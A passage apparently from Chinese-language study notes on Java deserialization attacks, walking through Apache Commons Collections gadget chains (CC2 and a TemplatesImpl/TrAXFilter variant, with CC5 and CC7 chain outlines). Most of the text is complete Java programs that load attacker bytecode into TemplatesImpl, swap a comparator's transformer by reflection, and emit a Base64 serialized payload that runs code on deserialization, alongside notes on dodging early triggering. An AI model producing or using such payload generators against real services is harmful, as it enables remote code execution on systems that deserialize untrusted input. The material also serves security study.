TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s);
} }
|
这里也可以轻松发现在序列化之前就触发了
断点调一下
这里也可以清楚的看到在调用第二个add的时候触发了compare() 从底下的调用栈也可以看出
因此我们还是采取先存入无用的 在通过反射存入正确的
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue;
public class urldnsre { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class")); byte[][] codes = {code}; bytecodes.set(templates, codes);
Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(1);
Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class; Field transformer = transformingComparatorClass.getDeclaredField("transformer"); transformer.setAccessible(true); transformer.set(transformingComparator,chainedTransformer);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s);
Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|
cc2
Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
可以看到cc2是使用的InvokerTransformer的transform()方法来进行的执行TemplatesImpl类的newTransformer()方法,因为我们需要在transform()传入我们构造好的templates 最终调用的结果就是templates .newTransformer().
接着我们还需要的是如何传给这个transform(obj1) 也是可以看到这里是一路传下来的
最终取出来的是queue数组中的值,因此我们只需要add进去我们想要的obj1即可
接着还是需要去进行反射更改值
package org.example;
import com.sun.org.apache.bcel.internal.generic.NEW; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue;
public class urldnsre { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class")); byte[][] codes = {code}; bytecodes.set(templates, codes);
Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl());
InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator<Object, Integer> objectIntegerTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(objectIntegerTransformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class; Field transformert = transformingComparatorClass.getDeclaredField("transformer"); transformert.setAccessible(true); transformert.set(objectIntegerTransformingComparator,newTransformer);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s);
Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|
cc5
->BadAttributeValueExpException.readObject() ->TiedMapEntry.toString() ->TiedMapEntry.getValue() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
|
cc7
//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同 ->Hashtable.readObject() ->Hashtable.reconstitutionPut() ->AbstractMapDecorator.equals ->AbstractMap.equals() ->LazyMap.get.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
|